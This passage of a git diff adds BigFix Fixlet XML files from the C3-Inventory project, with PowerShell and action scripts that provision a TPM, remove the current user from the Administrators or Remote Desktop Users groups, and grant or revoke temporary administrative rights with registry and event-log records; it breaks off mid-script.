+parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
+
+folder create &quot;{parameter &quot;Storage&quot;}&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = &quot;.&quot;
+)
+
+import-module Bitlocker
+
+$guid = [guid]::NewGuid().Guid
+
+# If we are running on a version newer than Windows 7  use the new TPM cmdlets
+if ([Environment]::OSVersion.Version -gt (new-object &apos;Version&apos; 6,2)) {{
+	#Physical Presence Allowed
+	#$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
+
+	#No Physical Presence Allowed
+	$TPMResult = Initialize-Tpm -allowclear
+
+	#Set TPM Owner Key
+	Set-TpmOwnerAuth -NewOwnerAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+	#Backup Owner Key to Registry
+	Import-TpmOwnerAuth -OwnershipAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+} else {{ # If we are running on Windows 7 use the old manage-bde method
+	manage-bde -tpm -turnon
+	manage-bde -tpm -takeownership &quot;$GUID&quot;
+}
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder &quot;{parameter &quot;Storage&quot;}&quot;
+
+action requires restart</ActionScript>
+    </Action>
+    <Action ID="Action24091">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to provision the trusted platform module</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
+
+folder create &quot;{parameter &quot;Storage&quot;}&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = &quot;.&quot;
+)
+
+import-module Bitlocker
+
+
+# If we are running on a version newer than Windows 7  use the new TPM cmdlets
+if ([Environment]::OSVersion.Version -gt (new-object &apos;Version&apos; 6,2)) {{
+	#Physical Presence Allowed
+	#$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
+
+	#No Physical Presence Allowed
+	$TPMResult = Initialize-Tpm -allowclear
+
+} else {{ # If we are running on Windows 7 use the old manage-bde method
+	manage-bde -tpm -turnon
+}
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder &quot;{parameter &quot;Storage&quot;}&quot;
+
+action requires restart</ActionScript>
+    </Action>
+    <Action ID="Action24092">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to provision the trusted platform module allowing a physical presence requirement, set a random password on TPM ownership, and backup the password to the _BESData folder.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = "."
+)
+
+import-module Bitlocker
+
+$guid = [guid]::NewGuid().Guid
+
+# If we are running on a version newer than Windows 7  use the new TPM cmdlets
+if ([Environment]::OSVersion.Version -gt (new-object 'Version' 6,2)) {{
+	#Physical Presence Allowed
+	$TPMResult = Initialize-Tpm -ForceClearAllowed -PhysicalPresenceAllowed
+
+	#No Physical Presence Allowed
+	#$TPMResult = Initialize-Tpm -allowclear
+
+	#Set TPM Owner Key
+	Set-TpmOwnerAuth -NewOwnerAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+	#Backup Owner Key to Registry
+	Import-TpmOwnerAuth -OwnershipAuthorization (ConvertTo-TpmOwnerAuth -PassPhrase $guid)
+
+} else {{ # If we are running on Windows 7 use the old manage-bde method
+	manage-bde -tpm -turnon
+	manage-bde -tpm -takeownership "$GUID"
+}
+
+$GUID >> "$OutFolder\TPMOwnerAuthorization.txt"
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"
+
+action requires restart]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Administrators - Windows (24407).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Administrators - Windows (24407).bes
new file mode 100644
index 000000000..1447beea5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Administrators - Windows (24407).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Current User from Administrators - Windows
+  ID       : 24407
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-06-06T09:51:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Current User from Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes the currently logged on user from the Administrators group.</P>
+<P><STRONG>Applicability Note: </STRONG>This Fixlet will be relevant only if the currently logged on user is explicitly a member of the Administrators group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists members whose (sid of it = sid of logged on user) of local group &quot;administrators&quot;</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Category>Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of current user}&quot; /delete</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Authorized Requestors - Windows (24159).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Authorized Requestors - Windows (24159).bes
new file mode 100644
index 000000000..cd6877113
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Authorized Requestors - Windows (24159).bes	
@@ -0,0 +1,185 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Current User from Authorized Requestors - Windows
+  ID       : 24159
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Current User from Authorized Requestors - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Revoke -Requestor"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Remote Desktop Users - Windows (24408).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Remote Desktop Users - Windows (24408).bes
new file mode 100644
index 000000000..f0b3b2c60
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Remote Desktop Users - Windows (24408).bes	
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Current User from Remote Desktop Users - Windows
+  ID       : 24408
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-06-06T09:52:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Current User from Remote Desktop Users - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes the currently logged on user from the Remote Desktop Users group.</P>
+<P><STRONG>Applicability Note:</STRONG> This Fixlet will be relevant if the currently logged on user is explicitely a member of the Remote Desktop Users group. This Fixlet will not be relevant if there are no logged on users or if there is more than one logged on user.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>exists members whose (sid of it = sid of logged on user) of local group &quot;Remote Desktop User&quot;</Relevance>
+    <Category>Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait net localgroup &quot;Remote Desktop Users&quot; &quot;{sid of current user}&quot; /delete</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Temporary Administrators - Windows (24160).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Temporary Administrators - Windows (24160).bes
new file mode 100644
index 000000000..df169a7a5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Current User from Temporary Administrators - Windows (24160).bes	
@@ -0,0 +1,185 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Current User from Temporary Administrators - Windows
+  ID       : 24160
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Current User from Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current&quot; of x32 registry</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component strings of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Revoke -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Authorized Requestors - Windows (24161).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Authorized Requestors - Windows (24161).bes
new file mode 100644
index 000000000..268c9a3e7
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Remove Expired Users from Authorized Requestors - Windows (24161).bes	
@@ -0,0 +1,184 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Remove Expired Users from Authorized Requestors - Windows
+  ID       : 24161
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Remove Expired Users from Authorized Requestors - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes any expired temporary administrators as provisioned by the temporary administrator fixlet in the C3-Inventory site.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists values "Expiration" whose (it as time < now) of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary ADministrative Rights\Authorized Requestors\Current" of x32 registry]]></Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{concatenations ";" of names of keys whose (value "Expiration" of it as string as time < now) of key "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Revoke -Requestor"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
